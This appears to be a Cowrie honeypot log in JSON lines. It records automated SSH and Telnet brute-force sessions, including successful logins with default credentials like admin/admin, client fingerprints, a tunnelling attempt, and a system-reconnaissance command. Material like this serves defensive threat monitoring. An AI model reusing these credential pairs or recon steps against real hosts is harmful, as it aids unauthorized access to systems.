{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:15:59.973800Z","src_ip":"74.91.200.154","session":"68181df99012","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":49100,"dst_ip":"159.203.135.109","dst_port":22,"session":"759eb2adaf47","protocol":"ssh","message":"New connection: 159.203.92.129:49100 (159.203.135.109:22) [session: 759eb2adaf47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:16:11.466354Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:16:11.628945Z","src_ip":"159.203.92.129","session":"759eb2adaf47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:16:11.634296Z","src_ip":"159.203.92.129","session":"759eb2adaf47","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin2026","message":"login attempt [admin/admin2026] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:16:11.650898Z","src_ip":"159.203.92.129","session":"759eb2adaf47","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:16:11.716196Z","src_ip":"159.203.92.129","session":"759eb2adaf47","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","message":"CMD: cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:16:11.720985Z","src_ip":"159.203.92.129","session":"759eb2adaf47","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"cut -f2 -d:","message":"Command not found: cut -f2 -d:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:16:11.726124Z","src_ip":"159.203.92.129","session":"759eb2adaf47","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","size":111,"shasum":"c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:16:11.739849Z","src_ip":"159.203.92.129","session":"759eb2adaf47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:16:11.746597Z","src_ip":"159.203.92.129","session":"759eb2adaf47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"3.19.223.104","src_port":36226,"dst_ip":"159.203.135.109","dst_port":22,"session":"8d1dd3bd9943","protocol":"ssh","message":"New connection: 3.19.223.104:36226 (159.203.135.109:22) [session: 8d1dd3bd9943]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:16:15.067817Z"}
{"eventid":"cowrie.session.connect","src_ip":"3.19.223.104","src_port":37752,"dst_ip":"159.203.135.109","dst_port":23,"session":"0875ce3f2b3e","protocol":"telnet","message":"New connection: 3.19.223.104:37752 (159.203.135.109:23) [session: 0875ce3f2b3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:16:15.502259Z"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:16:15.962126Z","src_ip":"3.19.223.104","session":"8d1dd3bd9943","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":0.5204238891601562,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:16:16.022570Z","src_ip":"3.19.223.104","session":"0875ce3f2b3e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":6352,"dst_ip":"10.17.0.5","dst_port":22,"session":"9bf2d5ba2761","protocol":"ssh","message":"New connection: 87.251.64.176:6352 (10.17.0.5:22) [session: 9bf2d5ba2761]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:16:22.486089Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:16:22.492071Z","src_ip":"87.251.64.176","session":"9bf2d5ba2761","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:16:22.589411Z","src_ip":"87.251.64.176","session":"9bf2d5ba2761","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.224.229","src_port":45942,"dst_ip":"10.17.0.5","dst_port":22,"session":"8fdc148b3990","protocol":"ssh","message":"New connection: 74.91.224.229:45942 (10.17.0.5:22) [session: 8fdc148b3990]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:16:22.847480Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:16:22.853312Z","src_ip":"74.91.224.229","session":"8fdc148b3990","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:16:22.892658Z","src_ip":"87.251.64.176","session":"9bf2d5ba2761","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:16:22.991603Z","session":"9bf2d5ba2761","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:16:23.089510Z","src_ip":"87.251.64.176","session":"9bf2d5ba2761","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:16:23.096576Z","src_ip":"74.91.224.229","session":"8fdc148b3990","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:16:23.190605Z","src_ip":"87.251.64.176","session":"9bf2d5ba2761","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"pass123","message":"login attempt [user/pass123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:16:24.082489Z","src_ip":"74.91.224.229","session":"8fdc148b3990","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:16:25.326168Z","src_ip":"74.91.224.229","session":"8fdc148b3990","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":42132,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb58fcefd418","protocol":"ssh","message":"New connection: 159.203.92.129:42132 (159.203.135.109:22) [session: eb58fcefd418]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:16:56.243060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:16:56.248063Z","src_ip":"159.203.92.129","session":"eb58fcefd418","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:16:56.259023Z","src_ip":"159.203.92.129","session":"eb58fcefd418","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin321","message":"login attempt [admin/admin321] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:16:56.273449Z","src_ip":"159.203.92.129","session":"eb58fcefd418","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:16:56.321080Z","src_ip":"159.203.92.129","session":"eb58fcefd418","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","message":"CMD: cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:16:56.324829Z","src_ip":"159.203.92.129","session":"eb58fcefd418","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"cut -f2 -d:","message":"Command not found: cut -f2 -d:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:16:56.329175Z","src_ip":"159.203.92.129","session":"eb58fcefd418","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","size":111,"shasum":"c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:16:56.340266Z","src_ip":"159.203.92.129","session":"eb58fcefd418","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:16:56.346530Z","src_ip":"159.203.92.129","session":"eb58fcefd418","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.200.154","src_port":49100,"dst_ip":"10.17.0.5","dst_port":22,"session":"18873851e005","protocol":"ssh","message":"New connection: 74.91.200.154:49100 (10.17.0.5:22) [session: 18873851e005]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:17:04.036245Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:17:04.950320Z","src_ip":"74.91.200.154","session":"18873851e005","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:17:04.954499Z","src_ip":"74.91.200.154","session":"18873851e005","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"password123","message":"login attempt [dev/password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:17:06.557268Z","src_ip":"74.91.200.154","session":"18873851e005","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:17:07.784695Z","src_ip":"74.91.200.154","session":"18873851e005","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.224.229","src_port":40760,"dst_ip":"10.17.0.5","dst_port":22,"session":"e8b4bf75683a","protocol":"ssh","message":"New connection: 74.91.224.229:40760 (10.17.0.5:22) [session: e8b4bf75683a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:17:18.915957Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:17:18.920694Z","src_ip":"74.91.224.229","session":"e8b4bf75683a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:17:19.163589Z","src_ip":"74.91.224.229","session":"e8b4bf75683a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"1234","password":"test","message":"login attempt [1234/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:17:20.150065Z","src_ip":"74.91.224.229","session":"e8b4bf75683a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:17:21.393008Z","src_ip":"74.91.224.229","session":"e8b4bf75683a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00428128242493,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:17:35.213053Z","src_ip":"49.88.156.34","session":"eac42391ac59","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":45952,"dst_ip":"159.203.135.109","dst_port":22,"session":"7cf7a73a8442","protocol":"ssh","message":"New connection: 159.203.92.129:45952 (159.203.135.109:22) [session: 7cf7a73a8442]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:17:41.426297Z"}
